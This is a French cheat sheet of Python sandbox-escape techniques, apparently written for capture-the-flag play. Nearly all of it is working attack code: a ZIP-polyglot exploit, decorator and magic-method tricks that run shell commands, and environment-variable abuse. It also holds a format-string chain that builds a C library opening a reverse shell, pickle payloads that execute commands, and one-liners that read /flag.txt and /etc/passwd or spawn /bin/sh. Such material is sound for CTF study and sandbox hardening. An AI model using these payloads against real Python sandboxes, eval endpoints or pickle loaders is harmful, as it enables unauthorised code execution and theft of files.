Fiches Python

NOTICE:

Ce document sera mis a jour en continu avec les dernieres ameliorations. Tu peux contribuer au projet si tu trouves des problemes ou si tu as des suggestions.

Contournement des commentaires

ding:hz et ~

import string
source = """#!/usr/bin/env python3
# Nous aimerions presenter nos excuses pour la situation ci-dessous.
# Comme vous le savez, en python il faut suivre le zen de python.
# Pour rafraichir votre memoire, voici les lignes importantes :
\"\"\"
Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
\"\"\"
# Securite extra, aucune execution:
quit()
def wish_printer():
#
wish = 'Kalmar says' + ' cheers!!'
print(wish)
"""
lines = source.split('\n')
ALLOWED_CHARACTERS = string.ascii_letters + string.digits + string.punctuation + ' '
# Parcourir les lignes et laisser l'utilisateur editer les commentaires:
for i, line in enumerate(lines):
if i == 0: # On ignore la ligne shebang bien sur
continue
if not line.lstrip().startswith('#'):
continue
print(f'La ligne {i} est un commentaire. Actuellement: `{line}`. Que veux-tu ajouter?')
user_input = input('> ')
if not all(c in ALLOWED_CHARACTERS for c in user_input):
print('Pas de caracteres bizarres! On veut des commentaires lisibles!')
continue
new_line = line + user_input
if len(new_line) > 72:
print('Commentaire trop long! Suivez PEP-8!')
continue
lines[i] = new_line
# Ecrire le nouveau fichier
new_python_file = '\n'.join(lines)
with open('commented_code.py', 'w') as wf:
wf.write(new_python_file)
print(f"\nCode ecrit avec succes. Voici le code:\n```\n{new_python_file}\n```\n")
# Verifier que le fichier n'est pas casse:
try:
__import__('commented_code')
except SyntaxError as e:
print('SyntaxError:', str(e))
quit()
print('Yay, pas d erreurs! Merci pour les commentaires!')

Peut etre pwn

from pwn import *
import threading
payload1 = ['ding:hz', 'AAAAAA', 'AAAAA', 'ABCDEAAAAAAAAAAAAAAAAAAA', 'ABCDEFGHIJKLMAAAAAAAAAAAAAAAAA~', 'Aif __import__("os").system("ls -la") and True:']
payload2 = ['ding:hz', '~', '~', '', '~', 'asdfasdf']
def connect():
return process(['python3', './server.py'], level='error')
def spam1():
att = 0
while True:
att += 1
if att % 100 == 0:
print('thread1', att)
conn = connect()
for v in payload1:
conn.sendline(v.encode())
res = conn.recvuntil(b'Thanks').decode()
if 'total' in res:
print(res)
exit()
conn.close()
def spam2():
att = 0
while True:
att += 1
if att % 100 == 0:
print('thread2', att)
conn = connect()
for v in payload2:
conn.sendline(v.encode())
res = conn.recvuntil(b'Thanks').decode()
if 'total' in res:
print(res)
exit()
conn.close()
thread1 = threading.Thread(target=spam1)
thread2 = threading.Thread(target=spam2)
thread1.start()
thread2.start()
thread1.join()
thread2.join()

confusion zip

#!/usr/bin/env python3
import tempfile
import subprocess
import os
comment = input("> ").replace("\n", "").replace("\r", "")
code = f"""print("hello world!")
# Ceci est un commentaire. En voici un autre:
# {comment}
print("Merci d avoir joue!")"""
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
f.write(code)
temp_filename = f.name
try:
result = subprocess.run(
["python3", temp_filename], capture_output=True, text=True, timeout=5
)
if result.stdout:
print(result.stdout, end="")
if result.stderr:
print(result.stderr, end="")
except subprocess.TimeoutExpired:
print("Timeout")
finally:
os.unlink(temp_filename)

Peut etre pwn

# https://www.analogue.computer/blog/python-zip-confusion
# https://www.hacktron.ai/blog/python-zip-confusion
import io, struct, zipfile, pathlib
import itertools
import zlib
import subprocess
JUNK_HEAD = """print("hello world!")
# Ceci est un commentaire. En voici un autre:
# """.encode()
JUNK_TAIL = """
print("Merci d avoir joue!")"""
FILENAME = b"__main__.py"
BODY = b"__import__('os').system('whoami')#"
def ascii_safe(x: int) -> bool:
"""True si tous les octets ont le bit de poids fort a 0."""
return all(((x >> (8 * i)) & 0x80) == 0 for i in range(4))
def find_suffix(core: bytes, length: int = 4) -> bytes:
"""Force brute d un suffixe ASCII de longueur donnee pour valider le CRC32."""
printable = range(0x20, 0x7F) # espace … tilde
for tail in itertools.product(printable, repeat=length):
payload = core + bytes(tail)
crc = zlib.crc32(payload) & 0xFFFFFFFF
if ascii_safe(crc):
return bytes(tail), crc
raise RuntimeError("unexpected: no suffix found")
SUFFIX, CRC = find_suffix(BODY)
PAYLOAD = BODY + SUFFIX
SIZE = len(PAYLOAD)
def le32(x): return struct.pack("<I", x)
def le16(x): return struct.pack("<H", x)
SIG_LFH = 0x04034B50
SIG_CDH = 0x02014B50
SIG_EOCD = 0x06054B50
# --------------------------------------------------------------------
# construire le fichier ZIP
# --------------------------------------------------------------------
delta = len(JUNK_HEAD)
# En-tete fichier local
lfh = le32(SIG_LFH)
lfh += le16(0) # version requise
lfh += le16(0) # flags
lfh += le16(0) # methode = stored
lfh += le16(0) # heure modif
lfh += le16(0) # date modif
lfh += le32(CRC)
lfh += le32(SIZE) # taille compressee
lfh += le32(SIZE) # taille non compressee
lfh += le16(len(FILENAME))
lfh += le16(0) # longueur extra
lfh += FILENAME
# En-tete du directory central
cdh = le32(SIG_CDH)
cdh += le16(0) # version creee par
cdh += le16(0) # version requise
cdh += le16(0) # flags
cdh += le16(0) # methode
cdh += le16(0) # heure
cdh += le16(0) # date
cdh += le32(CRC)
cdh += le32(SIZE)
cdh += le32(SIZE)
cdh += le16(len(FILENAME))
cdh += le16(0) # longueur extra
cdh += le16(0) # longueur comment
cdh += le16(0) # disk #
cdh += le16(0) # int attrs
cdh += le32(0) # ext attrs
cdh += le32(delta) # offset relatif du LFH
cdh += FILENAME
# patcher l offset du CD pour le rendre ASCII safe
cd_offset = delta + len(lfh) + len(PAYLOAD)
pad = 0
while not ascii_safe(cd_offset + pad):
pad += 1
padding = b'\x00' * pad
cd_offset += pad
# end of central directory record
eocd = le32(SIG_EOCD)
eocd += le16(0) # disk #
eocd += le16(0) # disque ou le CD commence
eocd += le16(1) # nb d entrees sur ce disque
eocd += le16(1) # nb total d entrees
eocd += le32(len(cdh)) # taille du central directory
eocd += le32(cd_offset) # offset du CD
eocd += le16(len(JUNK_TAIL)) # longueur du commentaire ZIP
zip_bytes = lfh + PAYLOAD + padding + cdh + eocd
zip_bytes = bytearray(zip_bytes)
assert all(b < 0x80 for b in zip_bytes), "byte non-ASCII detecte!"
# --------------------------------------------------------------------
# resoudre le challenge
# --------------------------------------------------------------------
with open("polyglot.zip", "wb") as f:
f.write(JUNK_HEAD + zip_bytes + JUNK_TAIL.encode())
# Run en local: envoyer le payload a test/main.py via stdin
proc = subprocess.run([
"python",
"main.py",
], input=zip_bytes.decode('latin-1'), text=True, capture_output=True)
if proc.stdout:
print(proc.stdout, end="")
if proc.stderr:
print(proc.stderr, end="")

See Contournement des commentaires implementation.

Override du code object

def safe():
return "safe"
def injected():
import os
os.system("id")
print("before:", safe())
# Remplace l'implementation de la fonction.
safe.__code__ = injected.__code__
print("after:")
safe()

See Override du code object implementation.

Decorateurs

@exec
@input
def a():pass
Peut etre une classe
for 𝘱𝘢𝘵𝘩 in {lambda _: "flag.txt"}:
@print
@list
@open
@path
class z:
pass
@__import__("os").system
@input
class _: pass
@eval
@'__import__\x28"os"\x29.system\x28"whoami"\x29'.format
class _:pass
# peut etre chaine avec \r
@print\\r@set\\r@open\\r@input\\rclass\\x0ca:pass

See Decorateurs implementation.

Variables d'environnement

Avec les variables d'environnement suivantes, on peut contourner les parentheses et executer du code.

  • PYTHONINSPECT
  • BROWSER
  • PYTHONHOME
  • PYTHONPATH
  • PYTHONWARNINGS
help.__repr__.__globals__["sys"].modules["os"].environ.__setitem__("PYTHONINSPECT", "1")
help.__repr__.__builtins__["__import__"]('antigravity', help.__repr__.__builtins__["setattr"](help.__repr__.__builtins__["__import__"]('os'),'environ',{}.__class__(BROWSER='/bin/sh -c "cat /flag.txt" #%s')))

See Variables d'environnement implementation.

Trouver des sinks dans des modules

__import__("ctypes")._sys -> <module 'sys' (built-in)>
__import__("ctypes")._os -> <module 'os' from '/usr/lib/python3.10/os.py'>

Comment trouver des sinks dans des modules

Tu peux aussi utiliser la librairie object_walker pour trouver des sinks dans des modules.

$ objectwalker -m jinja2 --filter-module os --max-depth 15
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.bccache.os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.environment.os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.loaders.os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.utils.os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.async_utils.inspect.os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.bccache.fnmatch.os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.bccache.tempfile._os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.clear_caches.__globals__["os"]
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.filters.random._os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.is_undefined.__globals__["os"]
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.loaders.posixpath.os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.nodes.inspect.os
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.pass_context.__globals__["os"]
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.pass_environment.__globals__["os"]
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.pass_eval_context.__globals__["os"]
[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.select_autoescape.__globals__["os"]

See Trouver des sinks dans des modules implementation.

Format string

# Fuite de donnees
SECRET = 'YOUGOTME'
class User():
def __init__(self, id, username):
self.id = id
self.username = username
def __repr__(self):
return '<User {u.username} (id {{i.id}})>'.format(u=self).format(i=self) # injection de format string
user = User(0, '{i.__init__.__globals__[SECRET]}')
# Peut mener a RCE
open("/tmp/lib.c", "wb").write(b"""#include <stdlib.h>\\n__attribute__((constructor))\\nvoid init() {\\nsystem("python3 -c \\\\"import os; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('localhost', 1234)); fd = s.fileno(); os.dup2(fd, 0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\\\\"");\\n}""")
import os
os.system("gcc -shared -fPIC /tmp/lib.c -o lib.so")
print("{0.__init__.__globals__[__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/tmp/lib.so]}".format(user))
# F-String rce generique
f"{(B:=[c for c in ().__class__.__mro__[1].__subclasses__() if c.__init__.__class__.__name__=='function'][0].__init__.__globals__['__builtins__']) and (B['__import__']('os')).system('id')}\""

See Format string implementation.

Bon a savoir

breakpoint() # pdb -> import os; os.system("sh")
exec(input()) # import os; os.system("sh")
eval(input()) # __import__("os").system("sh")
help() # pager less -> !/bin/sh
help() # pager less -> :e/flag.txt
assert len(set( [ *open("/flag.txt"), open("/flag.txt").read(), set(open("/flag.txt")).pop() ] )) == 1
# vers stderr
exit(set(open("/flag.txt")))
exit([*open("/flag.txt")])
compile(".","/flag.txt","exec")
raise Exception(*open("/flag.txt"))
# vers stdout
help([*open("/etc/passwd")][0]) # 1, 2, 3
print(*open("/flag.txt"))
type("", (), {"__init__": lambda s: print(open("flag.txt").read())})()
memoryview(open("flag.txt", "rb").read()).tobytes()
# vers stdin
input([*open("/etc/passwd")])
# https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#read-file-with-builtins-help-and-license
license._Printer__filenames = ['/flag.txt']; license()
[license() for _ in [license._Printer__filenames in [['/flag.txt']]]]

Creer des chars & strings

# Normal
print("hello")
# echappements hex
print("\x68\x65\x6c\x6c\x6f")
# echappements octal
print("\150\145\154\154\157")
# points de code unicode
print("\u0068\u0065\u006c\u006c\u006f")
print("\U00000068\U00000065\U0000006c\U0000006c\U0000006f")
# Uniquement avec les builtins
print(().__doc__[56] + ().__doc__[17] + ().__doc__[3] + ().__doc__[3] + ().__doc__[34])
print(().__doc__[56].__add__(().__doc__[17].__add__(().__doc__[3].__add__(().__doc__[3].__add__(().__doc__[34])))))
print(chr(ord('ʚ')-ord('ȫ'))+chr(ord('ř')-ord('æ'))+chr(ord('ř')-ord('æ'))+chr(ord('ȉ')-ord('ơ')))

Creer des digits

print(10)
print(True + True + True + True + True + True + True + True + True + True)
print((()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())) # marche aussi avec [] & {} & ...
print(((()==())<<(()==())<<(()==())<<(()==()))|((()==())<<(()==()))) # ((1<<1<<1<<1) | (1<<1)) = 8 | 2 = 10
print(len(str(...))+str(()))
print([[]]>[])
print(not[]is[])

See Bon a savoir implementation.

Methodes magiques

Methode magiqueQuand elle est appelee (exemple)Description
__new__(cls [,...])instance = MyClass(arg1, arg2)__new__ est appelee a la creation
__init__(self [,...])instance = MyClass(arg1, arg2)__init__ est appelee a la creation
__cmp__(self, other)self == other, self > other, etc.Appelee pour toute comparaison
__pos__(self)+selfPlus unaire
__neg__(self)-selfMoins unaire
__invert__(self)~selfInversion bitwise
__index__(self)x[self]Conversion en index
__nonzero__(self)bool(self)Valeur booleenne de l'objet
__getattr__(self, name)self.name # name n'existe pasAcces a un attribut inexistant
__setattr__(self, name, val)self.name = valAssignation d'attribut
__delattr__(self, name)del self.nameSuppression d'attribut
__getattribute__(self, name)self.nameAcces a n'importe quel attribut
__getitem__(self, key)self[key]Acces par index
__setitem__(self, key, val)self[key] = valAssignation par index
__delitem__(self, key)del self[key]Suppression par index
__iter__(self)for x in selfIteration
__contains__(self, value)value in self, value not in selfTests d'appartenance
__call__(self [,...])self(args)"Appeler" une instance
__enter__(self)with self as x:Context manager
__exit__(self, exc, val, trace)with self as x:Context manager
__getstate__(self)pickle.dump(pkl_file, self)Pickle
__setstate__(self)data = pickle.load(pkl_file)Pickle
# exit - fonctionne car c'est une instance de Quitter
exit.__class__.__add__ = exec; exit + "import os; os.system('whoami')"
quit.__class__.__add__ = exec; quit + "__import__('os').system('whoami')"
# license - instance de _Printer
license.__class__.__add__ = exec; license + "print(open('/etc/passwd').read())"
credits.__class__.__add__ = exec; credits + "__import__('os').system('pwd')"
copyright.__class__.__add__ = exec; copyright + "exec(input())"
# help - instance de _Helper
help.__class__.__sub__ = exec; help - "__import__('os').system('ls')"
class X: pass
x = X()
x.__class__.__add__ = exec; x + "__import__('os').system('id')"

See Methodes magiques implementation.

Pickle

import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('whoami')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))

Avec un seul global

import base64, pickletools
def build():
"""
Construit un pickle texte qui :
1) charge copyreg._inverted_registry via GLOBAL (prefixe 'copyreg _' ok),
2) ecrit inverted_registry[1] = ('builtins','eval') via SETITEM,
3) charge eval via EXT1 1,
4) execute REDUCE(eval, (cmd,)).
"""
p = bytearray()
# 1) GLOBAL 'copyreg _inverted_registry' ==> passe startswith("copyreg _")
p += b'c' + b'copyreg\n' + b'_inverted_registry\n'
# 2) inverted_registry[1] = ('builtins','eval')
# Attention a l ordre de SETITEM: la pile doit etre [ ..., dict, key, value ]
p += b'I1\n' # key = 1
p += b"S'builtins'\n" # push 'builtins'
p += b"S'eval'\n" # push 'eval'
p += b'\x86' # TUPLE2 -> ('builtins','eval') = value
p += b's' # SETITEM -> dict[1] = ('builtins','eval')
p += b'0' # POP -> nettoie la pile
# 3) EXT1 1 -> resolve via copyreg._inverted_registry[1] == builtins.eval
p += b'\x82' + b'\x01' # EXT1 1
# 4) REDUCE(eval, (cmd,))
cmd = "__import__('os').system('whoami')"
if not (cmd.startswith('"') and cmd.endswith('"')):
cmd = '"' + cmd.replace('"', '\\"') + '"'
p += b'S' + cmd.encode('utf-8') + b'\n' # STRING cmd
p += b'\x85' # TUPLE1
p += b'R' # REDUCE -> eval(cmd)
p += b'.' # STOP
return bytes(p)
if __name__ == "__main__":
payload = build()
pickletools.dis(payload)

See Pickle implementation.

Recuperer les builtins

# recuperer builtins depuis des fonctions builtin definies globalement
# https://docs.python.org/3/library/functions.html
print.__self__
__build_class__.__self__
__import__.__self__
# recuperer builtins depuis les constantes du module site
# https://docs.python.org/3/library/constants.html#constants-added-by-the-site-module
help.__call__.__builtins__ # ou __globals__
help.__repr__.__globals__["sys"] # chainable avec sys.modules
license.__repr__.__builtins__ # ou __globals__
license.__repr__.__globals__["sys"] # chainable avec sys.modules
# recuperer les builtins depuis une fonction definie
func.__globals__['__builtins__']
(lambda:...).__globals__
# recuperer builtins depuis des generateurs
(_ for _ in ()).gi_frame.f_builtins
(_ for _ in ()).gi_frame.f_globals["__builtins__"]
(await _ for _ in ()).ag_frame.f_builtins
(await _ for _ in ()).ag_frame.f_globals["__builtins__"]
[*([x.append((x[0].gi_frame.f_back.f_back.f_globals for _ in (1,))) or x[0] for x in [[]]][0])][0]["__builtins__"]
# peut etre obtenu depuis le type de l'objet
# https://robertchen.cc/blog/2018/07/27/tjctf18-abyss
async def code(): pass
ftype = type(lambda: None)
ctype = type(code().cr_code)
get_classes = ftype(ctype(1, 0, 1, 1, 67, b'i\x00j\x00j\x01j\x02\x83\x00S\x00', (None,), ('__class__', '__base__', '__subclasses__'), ('a',), 'aaa.py', 'get_classes', 7, b'\x00\x01', (), ()), {})
get_module = ftype(ctype(1, 0, 1, 1, 67, b'|\x00j\x00S\x00', (None,), ('_module',), ('warning_catcher',), 'aaa.py', 'get_module', 10, b'\x00\x01', (), ()), {})
classes = get_classes('')
warnings = classes[160]()
module = get_module(warnings)
os=module.sys.modules["os"]
os.system("cat /flag.txt")

See Recuperer les builtins implementation.

Unicode bypass

# https://lingojam.com/ItalicTextGenerator
# pas d'ASCII
𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() # import os;os.system("/bin/sh")
# pas de lettres ASCII, pas de double underscore, dans eval
__𝘪𝘮𝘱𝘰𝘳𝘵__(𝘪𝘯𝘱𝘶𝘵()).system(𝘪𝘯𝘱𝘶𝘵()) # bypass du double underscore via underscore + underscore unicode (https://www.compart.com/en/unicode/U+005F) -> U+FE33, U+FE34, U+FE4D, U+FE4E, U+FE4F, U+FF3F
# pas de lettres ASCII, pas de double underscore, pas de builtins, dans eval
().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[104].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦("\\157\\163").𝘴𝘺𝘴𝘵𝘦𝘮("\\57\\142\\151\\156\\57\\163\\150")
# pas de lettres ASCII, pas de double underscore, pas de builtins, pas de guillemets dans eval (>= python3.8)
[𝘺:=().__𝘥𝘰𝘤__,𝘢:=y[19],().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[104].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(𝘺[34]+𝘢).𝘴𝘺𝘴𝘵𝘦𝘮(𝘢+𝘺[56])]
# pas de lettres ASCII, pas de double underscore, pas de builtins, pas de guillemets, pas de crochets dans eval (>= python3.8)
(𝘥:=().__𝘥𝘰𝘤__,d:=().__dir__().__class__(d),𝘴:=𝘥.𝘱𝘰𝘱(19),𝘥.__𝘤𝘭𝘢𝘴𝘴__(().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__).𝘱𝘰𝘱(1).__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__().𝘱𝘰𝘱(104).𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(𝘥.𝘱𝘰𝘱(33)+𝘴).𝘴𝘺𝘴𝘵𝘦𝘮(𝘴+𝘥.𝘱𝘰𝘱(54)))
# pas de double underscore, pas de builtins, pas de guillemets, pas de parentheses dans eval, avec objet existant (>= python3.8)
class cobj:...
obj = cobj()
[d:=[].__doc__,o:=d[32],s:=d[17],h:=d[54],[obj[s+h] for obj.__class__.__getitem__ in [[obj[o+s] for obj.__class__.__getitem__ in [[+obj for obj.__class__.__pos__ in [[].__class__.__mro__[1].__subclasses__]][0][104].load_module]][0].system]]]

See Unicode bypass implementation.

Only Base Execption

# https://gist.github.com/0poss/ddf033ee64e82e3d899bd631f12729c1
exc = BaseException
for filterdigit in exc(lambda x: (c for c in x if c.isdigit())).args: pass
for getgen in exc(lambda x: exc(x).args).args: pass
for filtercurly in exc(lambda x: (c for c in x if not c.isalnum() and not c.isalpha() and c.isascii() and not c.isdecimal() and not c.isdigit() and not c.isidentifier() and not c.islower() and not c.isnumeric() and c.isprintable() and not c.isspace() and not c.istitle() and not c.isupper())).args: pass
for filterdot in exc(lambda x: (c for c in x if c.isprintable() and c.isascii() and not (c.isalpha() or c.isdigit() or c.isalnum() or c.isspace() or c.islower() or c.isupper() or c.isidentifier() or c.isdecimal() or c.isnumeric()))).args: pass
try: import fakeimportforunderscore
except exc as excunderscore:
for underscore in (c for c in excunderscore.msg if not (c.isalpha() or c.isspace())): pass
try: zero0
except exc as exczero0:
for zero in filterdigit(exczero0.name): pass
try: one1
except exc as excone1:
for one in filterdigit(excone1.name): pass
try: two2
except exc as exctwo2:
for two in filterdigit(exctwo2.name): pass
try: three3
except exc as excthree3:
for three in filterdigit(excthree3.name): pass
try: five5
except exc as excfive5:
for five in filterdigit(excfive5.name): pass
try: six6
except exc as excsix6:
for six in filterdigit(excsix6.name): pass
try: seven7
except exc as excseven7:
for seven in filterdigit(excseven7.name): pass
try: eight8
except exc as exceight8:
for eight in filterdigit(exceight8.name): pass
try: ascii
except exc as excascii:
for ascii in getgen(excascii.name): pass
try: utf
except exc as excutf:
for utf in getgen(excutf.name): pass
try: cp
except exc as exccp:
for cp in getgen(exccp.name): pass
try: be
except exc as excbe:
for be in getgen(excbe.name): pass
for utf16 in getgen(utf + underscore + one + six): pass
for utf16be in getgen(utf16 + underscore + be): pass
for utf8 in getgen(utf + eight): pass
for cp1026 in getgen(cp + one + zero + two + six): pass
for cp037 in getgen(cp + zero + three + seven): pass
for cp875 in getgen(cp + eight + seven + five): pass
try: d
except exc as excd:
for d in getgen(excd.name): pass
for opencurly in filtercurly(d.encode(ascii).decode(cp037).encode(utf16).decode(cp037)): pass
try: c
except exc as excc:
for c in getgen(excc.name): pass
for closecurly in filtercurly(c.encode(utf16).decode(utf16be).encode(utf8).decode(cp1026)): pass
try: h
except exc as exch:
for h in getgen(exch.name): pass
for opensquare in h.encode(ascii).decode(cp1026): pass
try: a
except exc as exca:
for a in getgen(exca.name): pass
for closesquare in filtercurly(a.encode(utf16).decode(cp875).encode(utf8).decode(cp037)): pass
try: lass
except exc as exclass:
for clas in getgen(c + exclass.name): pass
try: base
except exc as excbase:
for base in getgen(excbase.name): pass
try: subclasses
except exc as excsubclasses:
for subclasses in getgen(excsubclasses.name): pass
try:
async def fn():
while aucuneimportance:
yield aucuneimportancenonplus
fn().asend()
except exc as excasync:
for excasyncarg in excasync.args: pass
try: o
except exc as exco:
for o in getgen(exco.name): pass
try: s
except exc as excs:
for s in getgen(excs.name): pass
try: h
except exc as exch:
for h in getgen(exch.name): pass
try:
for dot in filterdot(excasyncarg):
(opencurly + zero + dot + underscore + underscore + clas + underscore + underscore + dot + underscore + underscore + base + underscore + underscore + dot + underscore + underscore + subclasses + underscore + underscore + dot + d+d+d+d+d+d+d+d+d + closecurly).format(())
except exc as excsubclassesfn:
for subclasses in getgen(excsubclassesfn.obj()): pass
try: builtins
except exc as excbuiltins:
for builtins in getgen(excbuiltins.name): pass
try: init
except exc as excinit:
for init in getgen(excinit.name): pass
try: imp
except exc as excimp:
for imp in getgen(excimp.name): pass
try: ort
except exc as excort:
for ort in getgen(excort.name): pass
for subclass in subclasses:
try:
(opencurly + zero + dot + underscore + underscore + init + underscore + underscore + dot + underscore + underscore + builtins + underscore + underscore + opensquare + underscore + underscore + imp+ort + underscore + underscore + closesquare + closecurly).format(subclass)
except: continue
try:
(opencurly + zero + dot + underscore + underscore + init + underscore + underscore + dot + underscore + underscore + builtins + underscore + underscore + opensquare + underscore + underscore + imp+ort + underscore + underscore + closesquare + dot + d+d+d+d+d+d+d + closecurly).format(subclass)
except exc as excfnimport:
for fnimport in getgen(excfnimport.obj): pass
fnimport(o+s).system(s+h)
break

See Only Base Execption implementation.

Sans parentheses

# comprehension de liste (exec & eval)
[+obj for obj.__class__.__pos__ in ["".__class__.__subclasses__]]
[obj["print(123)"] for obj.__class__.__getitem__ in [eval]]
# depuis les modules builtin (exec & eval) - <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>
[f"{license}" for license._Printer__setup in [breakpoint]]
# d'autres moyens de bypass les parentheses
[f"{copyright}" for copyright.__class__.__str__ in [breakpoint]]
[+license for license.__class__.__pos__ in [breakpoint]]
[-quit for quit.__class__.__neg__ in [breakpoint]]
[help["ls"] for help.__class__.__getitem__ in [system]]
# sans espace :)
[[copyright.sh]for[[[copyright.__class__.__getattr__]]]in[[[[copyright.os.system]for[copyright.__class__.__getattr__]in[[__import__]]]]]]
[[help[quit[license]]]for[help.__class__.__getitem__]in[[eval]for[quit.__class__.__getitem__]in[[input]]]]
[[[help[quit[[]]]]for[quit.__class__.__getitem__]in[[input]]]for[help.__class__.__getitem__]in[[eval]]]
# @hashkitten (exec)
from os import system as __getattr__; from __main__ import sh
# ADD - addition de string
exit.__class__.__add__ = exec; exit + "import os; os.system\x28'whoami'\x29"
# SUB - soustraction de string
exit.__class__.__sub__ = exec; exit - "import os; os.system\x28'whoami'\x29"
# MUL - multiplication de string
exit.__class__.__mul__ = exec; exit * "import os; os.system\x28'whoami'\x29"
# DIV - division de string
exit.__class__.__div__ = exec; exit / "import os; os.system\x28'whoami'\x29"
# MOD - modulo de string
exit.__class__.__mod__ = exec; exit % "import os; os.system\x28'whoami'\x29"
# bypass de property
class Test:
@property
def aFunction(self):
print("you called this function")
test = Test()
test.aFunction

See Sans parentheses implementation.